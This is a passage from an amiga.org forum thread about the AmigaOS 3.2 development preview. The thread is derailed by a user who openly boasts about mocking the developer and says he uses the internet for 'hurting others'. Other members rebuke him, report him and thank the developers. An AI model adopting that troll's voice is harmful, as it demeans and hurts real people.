@CBH

Quote
There is no right or wrong in this world beyond what we decide for ourselves. There is no god or any kind of morality innate to the material universe. This fact is what allows for human conflict. Like all human beings I've decided that what's right is what benefits me personally.

What a piece of work! You upset the developer of OS3.1.4 and OS3.2 and then attempt to refute the existence of God and even the Moral Law and then demonstrated what an ugly uncivilised selfish and self serving world we'd have it we all thought like you! One question:

Is this the outcome you wanted?
Assuming it was, what do you think caused you to become such a callous individual? I guess it's not your fault in your own head as you think you have to act like this to get ahead in a 'survival of the fittest world'?

The fact we have consciences and know inherrently what is wrong or right means your convicted yourself as to what a 'tool' you are acting like.

Apologise to Thomas, take a time out and reassess what IS important in life please. There is of course the adage; "The Best Things in Life are Free."

... maybe Thomas values working on his favourite OS in spite of Hyperion's mean contract terms! That doesn't his work is worthless or that he isn't valued in the community.
Title: Re: Os 3.2 development preview
Post by: CBH on December 16, 2019, 09:39:52 PM
I don't need to refute works of fiction. As far as outcomes go the only thing I wanted in this thread is to get ide splitter working and have fun at thomas expense and I won both. I'm only using the internet for what it's best at. Porn and hurting others. If you want to act with a conscience and treat each other kindly best to cancel your ISP contract because you misunderstand what it is you're paying for.
Title: Re: Os 3.2 development preview
Post by: CBH on December 16, 2019, 09:42:22 PM

My nothing is worth more than his everything. Literally worth more, I get paid for it. He doesn't.

You are saying that money is only thing wich is valuable? I feel sorry for you.

@Thomas Richter keep up good work.

Money is what we use to determine value here on earth. Some people tried to change that once but capitalists invented the CIA in response.
Title: Re: Os 3.2 development preview
Post by: sean_sk on December 16, 2019, 09:49:27 PM
@Thread

We only give this CBH moron weight to his words by responding to them. Ignore him please and then his words will mean nothing. His despicable selfishness and self-centeredness is very obvious indeed.
Title: Re: Os 3.2 development preview
Post by: efrenmgp on December 17, 2019, 03:31:39 AM
To let everybody know: I decided to stop advancing this thread.

So sad to see the end of a thread I followed from start everyday and really enjoyed :(

@Thomas Richter and team: Many Thanks to you and all devs and testers for continuing the development and improvemente of the OS. That alone I consider a great thing, but also thanks for taking the time and effort to write and share all those fascinating details about new features, implementation details, etc. I'm sure many of us really enjoyed them. I can only hope that this is just a temporary break and not a complete stop in communication. I have seen so many complaints over the years, that we do not hear anything about progress in development and now... well, I can't say I blame them for being quiet :(

Anyway. Looking forward for 3.2 release, whenever that may be

Regards,
Efrén
Title: Re: Os 3.2 development preview
Post by: utri007 on December 17, 2019, 09:18:13 AM
I'm only using the internet for what it's best at. Porn and hurting others. If you want to act with a conscience and treat each other kindly best to cancel your ISP contract because you misunderstand what it is you're paying for.

I prety sure that is NOT what amiga.org is for. You have chosen wrong forum.

PS. I reported this to mods, because that is not accepted or wanted behavior here.
Title: Re: Os 3.2 development preview
Post by: CBH on December 17, 2019, 10:34:36 AM

I prety sure that is NOT what amiga.org is for. You have chosen wrong forum.

PS. I reported this to mods, because that is not accepted or wanted behavior here.

Why do you bother to say you "reported this to mods"? I don't care. Get back to me when you report it to an assassin or something
Title: Re: Os 3.2 development preview
Post by: kolla on December 17, 2019, 11:10:52 AM
Damn, talk about derailing - I was just about to fill my mug and get some popcorn, curses!

(http://kolla.no/ao-mug.jpeg)
(where can I get order new amiga.org mug?)
Title: Re: Os 3.2 development preview
Post by: CBH on December 17, 2019, 11:48:07 AM
Newicons. Now there's a man of taste.
Title: Re: Os 3.2 development preview
Post by: outlawal2 on December 17, 2019, 02:34:23 PM
Thomas Richter why did you close this thread?
Because some douchebag derailed it with crap?   Why doesn't a MOD DO THEIR JOB AND REMOVE THE PRICK so the rest of us can continue to enjoy conversing about the new update?

Why do people give up and let Trolls win when there are perfectly acceptable means of removing them?
WHERE ARE THE MODS?

Title: Re: Os 3.2 development preview
Post by: kolla on December 17, 2019, 02:54:20 PM
Out scootering? Only rockers here :)
Title: Re: Os 3.2 development preview
Post by: number6 on December 17, 2019, 03:08:28 PM
@kolla

You just dated yourself with that comment. heh.

#6
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 17, 2019, 05:07:56 PM
Damn, talk about derailing - I was just about to fill my mug and get some popcorn, curses!
(where can I get order new amiga.org mug?)

http://amigakit.amiga.store/index.php?manufacturers_id=50